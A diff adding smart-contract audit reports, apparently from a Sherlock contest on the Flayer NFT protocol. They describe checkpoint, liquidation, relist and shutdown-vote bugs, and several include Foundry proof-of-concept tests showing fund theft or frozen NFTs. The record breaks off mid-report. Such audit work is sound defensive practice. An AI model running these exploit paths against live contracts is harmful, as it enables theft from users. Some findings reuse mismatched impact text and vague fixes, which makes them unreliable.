+ // Give some partial fees to the LP
+ if (fees != 0) {
+ collectionToken.approve(address(locker.implementation()), fees);
+ locker.implementation().depositFees(_collection, 0, fees);
+ }
+
+ // Remove our listing type
+ unchecked {
+ listingCount[_collection] -= _tokenIds.length;
+ }
+
+ // Create our checkpoint as utilisation rates will change
+ protectedListings.createCheckpoint(_collection);
+
+ emit ListingsCancelled(_collection, _tokenIds);
+ }
+```
+
+### Mitigation
+
+Pls add `delete _listings[_collection][_tokenId];` to `cancelListings` function.
\ No newline at end of file
diff --git a/001/284.md b/001/284.md
new file mode 100644
index 0000000..8a01bad
--- /dev/null
+++ b/001/284.md
@@ -0,0 +1,127 @@
+Mythical Gauze Lizard
+
+Medium
+
+# In `createListings` function of `ProtectedListings.sol`, checkpoint is computed differently than intended by the protocol.
+
+### Summary
+
+In protocol, they use _createCheckpoint whenever they alter the number of collection assets held as listings or protected listings. This allows them to determine the utilisation rate when calculating the protected tax. In `createListings` of `ProtectedListings.sol`, checkpointIndex will ensure that all created protected listings will hold the same checkpointIndex registered to them. But when `collectionCheckpoints[_collection].length == 0`, it works differently.
+
+### Root Cause
+
+incorrect logic in [`createListings()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L117) of `ProtectedListings.sol`
+
+### Internal pre-conditions
+
+collectionCheckpoints[_collection].length == 0
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+The user does not get the remaining funds back when executing `initializeCollection()` in `Locker.sol` due to incorrect implementation.
+
+### PoC
+
+The user calls `createListings()` of `ProtectedListings.sol` to create listings.
+```solidity
+ function createListings(CreateListing[] calldata _createListings) public nonReentrant lockerNotPaused {
+ // Loop variables
+ uint checkpointIndex;
+ bytes32 checkpointKey;
+ uint tokensIdsLength;
+ uint tokensReceived;
+
+ // Loop over the unique listing structures
+ for (uint i; i < _createListings.length; ++i) {
+ // Store our listing for cheaper access
+ CreateListing calldata listing = _createListings[i];
+
+ // Ensure our listing will be valid
+ _validateCreateListing(listing);
+
+ // Update our checkpoint for the collection if it has not been done yet for
+ // the listing collection.
+ checkpointKey = keccak256(abi.encodePacked('checkpointIndex', listing.collection));
+ assembly { checkpointIndex := tload(checkpointKey) }
+ if (checkpointIndex == 0) {
+ checkpointIndex = _createCheckpoint(listing.collection);
+ assembly { tstore(checkpointKey, checkpointIndex) }
+ }
+
+ // Map our listings
+ tokensIdsLength = listing.tokenIds.length;
+ tokensReceived = _mapListings(listing, tokensIdsLength, checkpointIndex) * 10 ** locker.collectionToken(listing.collection).denomination();
+
+ // Register our listing type
+ unchecked {
+ listingCount[listing.collection] += tokensIdsLength;
+ }
+
+ // Deposit the tokens into the locker and distribute ERC20 to user
+ _depositNftsAndReceiveTokens(listing, tokensReceived);
+
+ // Event fire
+ emit ListingsCreated(listing.collection, listing.tokenIds, listing.listing, tokensReceived, msg.sender);
+ }
+ }
+```
+As you can see, `createListings()` calls `_createCheckpoint()` when `checkpointIndex == 0`. Next let's look at `_createCheckpoint()`.
+```solidity
+ function _createCheckpoint(address _collection) internal returns (uint index_) {
+ // Determine the index that will be created
+ index_ = collectionCheckpoints[_collection].length;
+
+ // Register the checkpoint that has been created
+ emit CheckpointCreated(_collection, index_);
+
+ // If this is our first checkpoint, then our logic will be different as we won't have
+ // a previous checkpoint to compare against and we don't want to underflow the index.
+ if (index_ == 0) {
+ // Calculate the current interest rate based on utilization
+ (, uint _utilizationRate) = utilizationRate(_collection);
+
+ // We don't have a previous checkpoint to calculate against, so we initiate our
+ // first checkpoint with base data.
+ collectionCheckpoints[_collection].push(
+ Checkpoint({
+ compoundedFactor: locker.taxCalculator().calculateCompoundedFactor({
+ _previousCompoundedFactor: 1e18,
+ _utilizationRate: _utilizationRate,
+ _timePeriod: 0
+ }),
+ timestamp: block.timestamp
+ })
+ );
+
+ return index_;
+ }
+
+ // Get our new (current) checkpoint
+ Checkpoint memory checkpoint = _currentCheckpoint(_collection);
+
+ // If no time has passed in our new checkpoint, then we just need to update the
+ // utilization rate of the existing checkpoint.
+ if (checkpoint.timestamp == collectionCheckpoints[_collection][index_ - 1].timestamp) {
+ collectionCheckpoints[_collection][index_ - 1].compoundedFactor = checkpoint.compoundedFactor;
+ return index_;
+ }
+
+ // Store the new (current) checkpoint
+ collectionCheckpoints[_collection].push(checkpoint);
+ }
+```
+As you can see, when `index_ == 0`, `_createCheckpoint()` return 0. So checkpointIndex is 0.
+Then another user assumes that he callls `createListings()` again. At this time because of checkpointIndex is 0, `_createCheckpoint()` will be called again. This is not the protocol's intended behavior.
+
+
+### Mitigation
+
+This should be considered if checkpointIndex is 0.
\ No newline at end of file
diff --git a/001/285.md b/001/285.md
new file mode 100644
index 0000000..7abe644
--- /dev/null
+++ b/001/285.md
@@ -0,0 +1,87 @@
+Mythical Gauze Lizard
+
+Medium
+
+# Various problems can occur due to incorrect logic in `_createCheckpoint()` of `ProtectedListings.sol`.
+
+### Summary
+
+An overflow error occurs in the `collectionCheckpoints[_collection]` array due to incorrect logic in createCheckpoint().
+
+### Root Cause
+
+incorrect logic in [`_createCheckpoint()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L530) of `ProtectedListings.sol`.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+- An incorrect checkpoint assignment may lead to an unanticipated loss of funds within the Protocol.
+- Users will no longer be able to access their ProtectedListing, leading to the loss of their NFTs
+
+### PoC
+
+```solidity
+ function test_CannotUnlockSameProtectedListing(address payable _owner, uint _tokenId) public {
+ // Ensure that we don't get a token ID conflict
+ _assumeValidTokenId(_tokenId);
+
+ // Ensure that we don't set a zero address _owner
+ _assumeValidAddress(_owner);
+
+ // Capture the amount of ETH that the user starts with so that we can compute that
+ // they receive a refund of unused `msg.value` when paying tax.
+ uint _tokenId2 = _tokenId + 1;
+
+ // Mint our token to the _owner and approve the {Listings} contract to use it
+ erc721a.mint(_owner, _tokenId);
+ erc721a.mint(_owner, _tokenId2); //+++++
+
+ vm.prank(_owner);
+ erc721a.setApprovalForAll(address(protectedListings), true); //+++
+
+ IProtectedListings.ProtectedListing memory listing = IProtectedListings.ProtectedListing({
+ owner: _owner,
+ tokenTaken: 0.4 ether,
+ checkpoint: 0
+ });
+
+
+ // Create our listing
+ vm.startPrank(_owner);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: listing
+ })
+ });
+
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId2),
+ listing: listing
+ })
+ }); //+++
+
+ locker.collectionToken(address(erc721a)).approve(address(protectedListings), 0.8 ether);
+ protectedListings.unlockProtectedListing(address(erc721a), _tokenId2, true);
+ vm.stopPrank();
+ }
+```
+
+
+### Mitigation
+
+This should be considered if checkpointIndex is 0.
\ No newline at end of file
diff --git a/001/286.md b/001/286.md
new file mode 100644
index 0000000..d29c500
--- /dev/null
+++ b/001/286.md
@@ -0,0 +1,109 @@
+Mythical Gauze Lizard
+
+High
+
+# Users who create listings in `Listings.sol` using `liquidateProtectedListing` in `ProtectedListings.sol` can steal other users' funds.
+
+### Summary
+
+The user calls [`liquidateProtectedListing()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L429) of `ProtectedListings.sol` to create listing of `Listings.sol`. Then user call `relist()` of `Listings.sol` to steal other users' funds.
+
+### Root Cause
+
+incorrect logic in `relist()` of `Listings.sol`
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+The user calls [`liquidateProtectedListing()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L429) of `ProtectedListings.sol` to create listing of `Listings.sol`. Then user call `relist()` of `Listings.sol` to steal other users' funds.
+
+### Impact
+
+The user does not get the remaining funds back when executing `initializeCollection()` in `Locker.sol` due to incorrect implementation.
+
+### PoC
+
+```solidity
+ function test_NotCheckLiquidationableRelist(address payable _owner, address payable _relister, uint _tokenId, uint16 _floorMultiple) public {
+ _assumeValidTokenId(_tokenId);
+
+ // Ensure that we don't set a zero address _owner
+ _assumeValidAddress(_owner);
+ _assumeValidAddress(_relister);
+ vm.assume(_owner != _relister);
+
+ // Ensure that our multiplier is above 1.00
+ _assumeRealisticFloorMultiple(_floorMultiple);
+
+ // Mint our token to the _owner and approve the {Listings} contract to use it
+ erc721a.mint(_owner, _tokenId);
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+ deal(address(token), address(listings), 100 ether);
+ assertEq(token.balanceOf(address(listings)), 100 ether);
+
+ vm.startPrank(_owner);
+ erc721a.approve(address(protectedListings), _tokenId);
+
+ IProtectedListings.ProtectedListing memory listing = IProtectedListings.ProtectedListing({
+ owner: _owner,
+ tokenTaken: 0.4 ether,
+ checkpoint: 0
+ });
+
+ // Create our listing
+ vm.startPrank(_owner);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: listing
+ })
+ });
+ vm.stopPrank();
+
+ vm.warp(block.timestamp + LIQUIDATION_TIME);
+
+ address keeper = address(1);
+ vm.prank(keeper);
+ protectedListings.liquidateProtectedListing(address(erc721a), _tokenId);
+
+ // Confirm that the keeper receives their token at the point of liquidation
+ assertEq(token.balanceOf(keeper), protectedListings.KEEPER_REWARD() * 10 ** token.denomination());
+
+ deal(address(token), _relister, 100 ether);
+ vm.startPrank(_relister);
+ token.approve(address(listings), type(uint).max);
+ listings.relist({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: IListings.Listing({
+ owner: _relister,
+ created: uint40(block.timestamp),
+ duration: listings.MIN_LIQUID_DURATION(),
+ floorMultiple: _floorMultiple
+ })
+ }),
+ _payTaxWithEscrow: false
+ });
+
+ vm.stopPrank();
+
+ vm.startPrank(_owner);
+ listings.withdraw(address(token), listings.balances(_owner, address(token)));
+ uint remaining = token.balanceOf(address(listings)) - listings.getListingTaxRequired(listings.listings(address(erc721a), _tokenId), address(erc721a));
+ assertEq(remaining, 0);
+ }
+```
+
+
+### Mitigation
+
+Pls add check of _isLiquidation to `relist()` as `_fillListing()`.
\ No newline at end of file
diff --git a/001/287.md b/001/287.md
new file mode 100644
index 0000000..5513687
--- /dev/null
+++ b/001/287.md
@@ -0,0 +1,83 @@
+Mythical Gauze Lizard
+
+High
+
+# If the user calls `cancel()` of `CollectionShutdown.sol`, all funds corresponding to `collection` may be locked in the contract.
+
+### Summary
+
+The user calls [`cancel()`](https://github.com/sherlock-audit/2024-08-flayer/tree/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390) of `CollectionShutdown.sol` to cancel shutdown of collection. But voter can not call `reclaimVote()` so that all funds corresponding to `collection` may be locked in the contract.
+
+### Root Cause
+
+incorrect logic in `cancel()` of `CollectionShutdown.sol`
+
+### Internal pre-conditions
+
+Another users do not call `reclaimVote()`.
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+User can not call `reclaimVote()` so that all funds corresponding to `collection` may be locked in the contract.
+
+### PoC
+
+The user calls `cancel()` of `CollectionShutdown.sol` to cancel shutdown of collection.
+```solidity
+ function cancel(address _collection) public whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Check if the total supply has surpassed an amount of the initial required
+ // total supply. This would indicate that a collection has grown since the
+ // initial shutdown was triggered and could result in an unsuspected liquidation.
+ if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
+ revert InsufficientTotalSupplyToCancel();
+ }
+
+ // Remove our execution flag
+ delete _collectionParams[_collection];
+ emit CollectionShutdownCancelled(_collection);
+ }
+```
+As you can see, the mapping variable `_collectionParams[_collection]` is deleted.
+Then look at why another user can not call `reclaimVote()`.
+```solidity
+ function reclaimVote(address _collection) public whenNotPaused {
+ // If the quorum has passed, then we can no longer reclaim as we are pending
+ // an execution.
+ CollectionShutdownParams storage params = _collectionParams[_collection];
+ if (params.canExecute) revert ShutdownQuorumHasPassed();
+
+ // Get the amount of votes that the user has cast for this collection
+ uint userVotes = shutdownVoters[_collection][msg.sender];
+
+ // If the user has not cast a vote, then we can revert early
+ if (userVotes == 0) revert NoVotesPlacedYet();
+
+ // We delete the votes that the user has attributed to the collection
+ params.shutdownVotes -= uint96(userVotes);
+ delete shutdownVoters[_collection][msg.sender];
+
+ // We can now return their tokens
+ params.collectionToken.transfer(msg.sender, userVotes);
+
+ // Notify our stalkers that a vote has been reclaimed
+ emit CollectionShutdownVoteReclaim(_collection, msg.sender, userVotes);
+ }
+```
+Because mapping variable `_collectionParams[_collection]` is deleted, shutdownVoters[_collection][msg.sender] is 0. As a result, another user can not call `reclaimVote()`.
+
+
+### Mitigation
+
+Pls add modifier `onlyOwner` to `cancel()`.
\ No newline at end of file
diff --git a/001/288.md b/001/288.md
new file mode 100644
index 0000000..7d5adb2
--- /dev/null
+++ b/001/288.md
@@ -0,0 +1,85 @@
+Mythical Gauze Lizard
+
+Medium
+
+# [execute()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231) is run even though `collectionToken.totalSupply()` is larger than 4 ether.
+
+### Summary
+
+According to prtocol flow, if `collectionToken.totalSupply()` is larger than 4 ether, collection can not be shutdown. But in `execute()` of `CollectionShutdown.sol`, `collectionToken.totalSupply()` is not checked.
+
+### Root Cause
+
+In `execute()` of `CollectionShutdown.sol`, `collectionToken.totalSupply()` is not checked.
+
+### Internal pre-conditions
+
+The `collectionToken.totalSupply()` is larger than 4 ether.
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+User can not call [`reclaimVote()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L356) so that all funds corresponding to `collection` may be locked in the contract.
+
+### PoC
+
+According to sponsor, "So that is in place to prevent active or popular collections from being shutdown. I believe the MAX_SHUTDOWN_TOKENS is 4, so if there are more than 4 ERC20 tokens in circulation then the pool is deemed active and the shutdown process is prevented".
+```solidity
+ function execute(address _collection, uint[] calldata _tokenIds) public onlyOwner whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams storage params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Ensure we have specified token IDs
+ uint _tokenIdsLength = _tokenIds.length;
+ if (_tokenIdsLength == 0) revert NoNFTsSupplied();
+
+ // Check that no listings currently exist
+ if (_hasListings(_collection)) revert ListingsExist();
+
+ // Refresh total supply here to ensure that any assets that were added during
+ // the shutdown process can also claim their share.
+ uint newQuorum = params.collectionToken.totalSupply() * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT;
+ if (params.quorumVotes != newQuorum) {
+ params.quorumVotes = uint88(newQuorum);
+ }
+
+ // Lockdown the collection to prevent any new interaction
+ locker.sunsetCollection(_collection);
+
+ // Iterate over our token IDs and transfer them to this contract
+ IERC721 collection = IERC721(_collection);
+ for (uint i; i < _tokenIdsLength; ++i) {
+ locker.withdrawToken(_collection, _tokenIds[i], address(this));
+ }
+
+ // Approve sudoswap pair factory to use our NFTs
+ collection.setApprovalForAll(address(pairFactory), true);
+
+ // Map our collection to a newly created pair
+ address pool = _createSudoswapPool(collection, _tokenIds);
+
+ // Set the token IDs that have been sent to our sweeper pool
+ params.sweeperPoolTokenIds = _tokenIds;
+ sweeperPoolCollection[pool] = _collection;
+
+ // Update our collection parameters with the pool
+ params.sweeperPool = pool;
+
+ // Prevent the collection from being executed again
+ params.canExecute = false;
+ emit CollectionShutdownExecuted(_collection, pool, _tokenIds);
+ }
+```
+As you can see, in `execute()` there is not check of `collectionToken.totalSupply()`.
+
+### Mitigation
+
+Pls add check of `collectionToken.totalSupply()` to `execute()`.
\ No newline at end of file
diff --git a/001/290.md b/001/290.md
new file mode 100644
index 0000000..eec0ab6
--- /dev/null
+++ b/001/290.md
@@ -0,0 +1,124 @@
+Mythical Gauze Lizard
+
+High
+
+# The position of `_createCheckpoint()` in `createListing()` of `ProtectedListings.sol` is incorrect.
+
+### Summary
+
+The position of `_createCheckpoint()` in `createListing()` of `ProtectedListings.sol` is wrong. As a result, users use the wrong `checkpoint`.
+
+### Root Cause
+
+incorrect logic in [`_createCheckpoint()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L117) of `ProtectedListings.sol`.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Inconsistencies in price calculations can lead to incorrect logic, which may be exploited by malicious users.
+
+### PoC
+
+User calls `createListing()` of `ProtectedListings.sol` to create listing.
+```solidity
+ function createListings(CreateListing[] calldata _createListings) public nonReentrant lockerNotPaused {
+ // Loop variables
+ uint checkpointIndex;
+ bytes32 checkpointKey;
+ uint tokensIdsLength;
+ uint tokensReceived;
+
+ // Loop over the unique listing structures
+ for (uint i; i < _createListings.length; ++i) {
+ // Store our listing for cheaper access
+ CreateListing calldata listing = _createListings[i];
+
+ // Ensure our listing will be valid
+ _validateCreateListing(listing);
+
+ // Update our checkpoint for the collection if it has not been done yet for
+ // the listing collection.
+ checkpointKey = keccak256(abi.encodePacked('checkpointIndex', listing.collection));
+ assembly { checkpointIndex := tload(checkpointKey) }
+ if (checkpointIndex == 0) {
+ checkpointIndex = _createCheckpoint(listing.collection);
+ assembly { tstore(checkpointKey, checkpointIndex) }
+ }
+
+ // Map our listings
+ tokensIdsLength = listing.tokenIds.length;
+ tokensReceived = _mapListings(listing, tokensIdsLength, checkpointIndex) * 10 ** locker.collectionToken(listing.collection).denomination();
+
+ // Register our listing type
+ unchecked {
+ listingCount[listing.collection] += tokensIdsLength;
+ }
+
+ // Deposit the tokens into the locker and distribute ERC20 to user
+ _depositNftsAndReceiveTokens(listing, tokensReceived);
+
+ // Event fire
+ emit ListingsCreated(listing.collection, listing.tokenIds, listing.listing, tokensReceived, msg.sender);
+ }
+ }
+```
+As you can see, in this function after calling `_depositNftsAndReceiveTokens()`, does not call `_createCheckpoint()`. But in `_depositNftsAndReceiveTokens()`, collectionToken is minted, so that must call `_createCheckpoint()`.
+
+
+### Mitigation
+
+Pls modify `createLListing()` of `ProtectedListings.sol`.
+```solidity
+ function createListings(CreateListing[] calldata _createListings) public nonReentrant lockerNotPaused {
+ // Loop variables
+ uint checkpointIndex;
+ bytes32 checkpointKey;
+ uint tokensIdsLength;
+ uint tokensReceived;
+
+ // Loop over the unique listing structures
+ for (uint i; i < _createListings.length; ++i) {
+ // Store our listing for cheaper access
+ CreateListing calldata listing = _createListings[i];
+
+ // Ensure our listing will be valid
+ _validateCreateListing(listing);
+
+ // Update our checkpoint for the collection if it has not been done yet for
+ // the listing collection.
+ checkpointKey = keccak256(abi.encodePacked('checkpointIndex', listing.collection));
+ assembly { checkpointIndex := tload(checkpointKey) }
+ if (checkpointIndex == 0) {
+ checkpointIndex = _createCheckpoint(listing.collection);
+ assembly { tstore(checkpointKey, checkpointIndex) }
+ }
+
+ // Map our listings
+ tokensIdsLength = listing.tokenIds.length;
+ tokensReceived = _mapListings(listing, tokensIdsLength, checkpointIndex) * 10 ** locker.collectionToken(listing.collection).denomination();
+
+ // Register our listing type
+ unchecked {
+ listingCount[listing.collection] += tokensIdsLength;
+ }
+
+ // Deposit the tokens into the locker and distribute ERC20 to user
+ _depositNftsAndReceiveTokens(listing, tokensReceived);
++++ _createCheckpoint(listing.collection)
+
+ // Event fire
+ emit ListingsCreated(listing.collection, listing.tokenIds, listing.listing, tokensReceived, msg.sender);
+ }
+ }
+```
\ No newline at end of file
diff --git a/001/305.md b/001/305.md
new file mode 100644
index 0000000..a662ece
--- /dev/null
+++ b/001/305.md
@@ -0,0 +1,69 @@
+Melodic Pickle Goose
+
+Medium
+
+# Liquidation not possible when protected listings have effectively run out of collateral
+
+### Summary
+
+A protected listing (also called 'a loan') cannot be liquidated when it effectively runs out of collateral. It needs to be at a loss – have negative collateral – in order to be liquidated due to a wrong comparison.
+
+### Root Cause
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L432
+```solidity
+ function liquidateProtectedListing(address _collection, uint _tokenId) public lockerNotPaused listingExists(_collection, _tokenId) {
+ // Ensure that the protected listing has run out of collateral
+ int collateral = getProtectedListingHealth(_collection, _tokenId);
+→ if (collateral >= 0) revert ListingStillHasCollateral();
+
+ // ...
+ }
+```
+
+The **ProtectedListings** `liquidateProtectedListing()` function checks if the remaining collateral of a loan position is greater than or equal to zero, when it should instead check only if `collateral > 0` and revert only then as having 0 remaining collateral effectively means you have **no** collateral.
+
+
+### Internal pre-conditions
+
+Have a loan position (protected listing) that has become liquidateable due to too much borrowed CollectionTokens or due to a raised interest rate.
+
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+1. User borrows collection tokens by reserving an ordinary listing or by creating a protected listing directly.
+2. Interest rates rise due to higher utilization of a collection.
+3. The user's loan position is now liquidateable because they borrowed close to the limit or because interest rates have risen rapidly. The loan's health now is `0`.
+4. Liquidator see that and decides to liquidate them as the position is effectively underwater.
+5. `liquidateProtectedListing()` reverts preventing the proper liquidation of the loan.
+
+### Impact
+
+Loan positions will need to accrue bad debt in order to be liquidated instead of allowing liquidators to liquidate such positions in a timely manner.
+
+### PoC
+
+See **Attack Path**.
+
+
+### Mitigation
+
+```diff
+diff --git a/flayer/src/contracts/ProtectedListings.sol b/flayer/src/contracts/ProtectedListings.sol
+index 92ac03a..8d03dfc 100644
+--- a/flayer/src/contracts/ProtectedListings.sol
++++ b/flayer/src/contracts/ProtectedListings.sol
+@@ -429,7 +429,7 @@ contract ProtectedListings is IProtectedListings, ReentrancyGuard {
+ function liquidateProtectedListing(address _collection, uint _tokenId) public lockerNotPaused listingExists(_collection, _tokenId) {
+ // Ensure that the protected listing has run out of collateral
+ int collateral = getProtectedListingHealth(_collection, _tokenId);
+- if (collateral >= 0) revert ListingStillHasCollateral();
++ if (collateral > 0) revert ListingStillHasCollateral();
+
+ // cache
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+```
diff --git a/001/306.md b/001/306.md
new file mode 100644
index 0000000..10af683
--- /dev/null
+++ b/001/306.md
@@ -0,0 +1,166 @@
+Striped Boysenberry Fox
+
+Medium
+
+# Incorrect checkpoint index is possible during creation of protected listings.
+
+## Summary
+
+The `_createCheckpoint()` function returns incorrect index when the current timestamp is same with the one of the last checkpoint. This may cause an incorrect checkpoint index when creating a protected listing with multiple NFTs in the same timestamp
+
+## Vulnerability Detail
+
+The `_createCheckpoint()` function is intended to return the index of the last checkpoint.
+
+However when the current timestamp is same with the last checkpoint's one, it returns the length of the checkpoints instead of the last index.
+
+```solidity
+ function _createCheckpoint(address _collection) internal returns (uint index_) {
+ ... ...
+ // Get our new (current) checkpoint
+ Checkpoint memory checkpoint = _currentCheckpoint(_collection);
+
+ // If no time has passed in our new checkpoint, then we just need to update the
+ // utilization rate of the existing checkpoint.
+ if (checkpoint.timestamp == collectionCheckpoints[_collection][index_ - 1].timestamp) {
+ collectionCheckpoints[_collection][index_ - 1].compoundedFactor = checkpoint.compoundedFactor;
+@> return index_;
+ }
+ ... ...
+ }
+```
+
+Let's assume the following scenario:
+
+A user is going to create a protected listing with two NFTs (token Ids: 1, 2) of a single collection.
+
+1. In the first loop of `ProtectedListings::createListings()`, `_protectedListings[_collection][1]` becomes 0 because the collection is new to protected listings.
+2. In the second loop, `_protectedListings[_collection][2]` becomes 1 because of the issued return. However, the checkpoint index `1` for the collection is out-of-index because the length of checkpoints is `1`.
+
+### Proof-Of-Concept
+
+For visual effect for testing, the new function to reveal collection checkpoints is added to the `ProtectedListings.sol`:
+```solidity
+ // @audit-add
+ function getCollectionCheckpoints(address _collection) public view returns (IProtectedListings.Checkpoint[] memory) {
+ return collectionCheckpoints[_collection];
+ }
+```
+
+And then new test case is added to `ProtectedListings.t.sol`. The test case is trying to create two protected listings with two NFTs in the same timestamp:
+
+```solidity
+ // @audit-poc
+ function test_CreateProtectedListingCheckpoints() public {
+ address payable _owner = payable(address(0x101));
+ address _collection = address(erc721a);
+
+ // Ensure that we don't set a zero address _owner
+ _assumeValidAddress(_owner);
+
+ uint256 tokenId1 = 1;
+ uint256 tokenId2 = 2;
+
+ erc721a.mint(_owner, tokenId1);
+ erc721a.mint(_owner, tokenId2);
+
+ vm.startPrank(_owner);
+ erc721a.approve(address(protectedListings), tokenId1);
+ erc721a.approve(address(protectedListings), tokenId2);
+
+ IProtectedListings.ProtectedListing memory listing = IProtectedListings.ProtectedListing({
+ owner: _owner,
+ tokenTaken: 0.4 ether,
+ checkpoint: 0
+ });
+
+ // Confirm that our expected event it emitted
+ vm.expectEmit();
+ emit ProtectedListings.ListingsCreated(_collection, _tokenIdToArray(tokenId1), listing, 0.4 ether, _owner);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: _collection,
+ tokenIds: _tokenIdToArray(tokenId1),
+ listing: listing
+ })
+ });
+
+ vm.expectEmit();
+ emit ProtectedListings.ListingsCreated(_collection, _tokenIdToArray(tokenId2), listing, 0.4 ether, _owner);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: _collection,
+ tokenIds: _tokenIdToArray(tokenId2),
+ listing: listing
+ })
+ });
+ vm.stopPrank();
+
+ IProtectedListings.ProtectedListing memory listing1 = protectedListings.listings(_collection, tokenId1);
+ console.log("Checkpoint Index for NFT 1:", listing1.checkpoint);
+
+ IProtectedListings.ProtectedListing memory listing2 = protectedListings.listings(_collection, tokenId2);
+ console.log("Checkpoint Index for NFT 2:", listing2.checkpoint);
+
+ IProtectedListings.Checkpoint[] memory checkpoints = protectedListings.getCollectionCheckpoints(_collection);
+ console.log("Length of the checkpoints:", checkpoints.length);
+
+ vm.expectRevert(stdError.indexOOBError);
+ protectedListings.getProtectedListingHealth(_collection, tokenId2); // @audit NFT2 is frozen due to OOB revert
+ }
+```
+
+And here are the logs:
+```bash
+$ forge test --match-test test_CreateProtectedListingCheckpoints -vv
+[⠒] Compiling...
+[⠰] Compiling 1 files with Solc 0.8.26
+[⠔] Solc 0.8.26 finished in 9.30s
+Compiler run successful!
+
+Ran 1 test for test/ProtectedListings.t.sol:ProtectedListingsTest
+[PASS] test_CreateProtectedListingCheckpoints() (gas: 769396)
+Logs:
+ Checkpoint Index for NFT 1: 0
+ Checkpoint Index for NFT 2: 1
+ Length of the checkpoints: 1
+
+Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.36ms (995.10µs CPU time)
+
+Ran 1 test suite in 8.63ms (6.36ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
+```
+
+As can be seen from the logs, the NFT 2 becomes frozen because of out-of-bound revert and it will be available after new checkpoint is added to the collection checkpoint. Even though the NFT 2 becomes free from frozen, it becomes to indicate a wrong checkpoint.
+
+## Impact
+
+Such a second NFT becomes frozen till new checkpoint is added, and even after being released from frozen, the NFT will have miscalculated unlocking price and health factor because of wrong checkpoint index.
+
+## Code Snippet
+
+[ProtectedListings.sol#L566](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L566)
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Should return `index_ - 1` in the issued line:
+
+```diff
+ function _createCheckpoint(address _collection) internal returns (uint index_) {
+ ... ...
+ // Get our new (current) checkpoint
+ Checkpoint memory checkpoint = _currentCheckpoint(_collection);
+
+ // If no time has passed in our new checkpoint, then we just need to update the
+ // utilization rate of the existing checkpoint.
+ if (checkpoint.timestamp == collectionCheckpoints[_collection][index_ - 1].timestamp) {
+ collectionCheckpoints[_collection][index_ - 1].compoundedFactor = checkpoint.compoundedFactor;
+- return index_;
++ return index_ - 1;
+ }
+ ... ...
+ }
+```
diff --git a/001/308.md b/001/308.md
new file mode 100644
index 0000000..1355242
--- /dev/null
+++ b/001/308.md
@@ -0,0 +1,56 @@
+Precise Lava Starfish
+
+High
+
+# Users' voting token in CollectionShutdown will be locked when we cancel this shutdown flow
+
+## Summary
+When we cancel one shutdown flow, users' voting tokens will be locked in the shutdown contract.
+
+## Vulnerability Detail
+If one collection market is not active, we call trigger one shutdown flow to shutdown this market. In the process of voting, we can cancel this shutdown flow if the market becomes active.
+The problem is that `_collectionParams` is cleared when we cancel this collection's shutdown flow. If voters want to reclaim their votes, this will be reverted because `params.shutdownVotes` is zero.
+The voters cannot get back their voting tokens and also cannot execute this shutdown flow to claim some rewards.
+
+```solidity
+ function cancel(address _collection) public whenNotPaused {
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+ if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
+ revert InsufficientTotalSupplyToCancel();
+ }
+
+@> delete _collectionParams[_collection]; // Note , here the canExecute is reset to false.
+ emit CollectionShutdownCancelled(_collection);
+ }
+```
+```solidity
+ function reclaimVote(address _collection) public whenNotPaused {
+@> CollectionShutdownParams storage params = _collectionParams[_collection];
+ if (params.canExecute) revert ShutdownQuorumHasPassed();
+
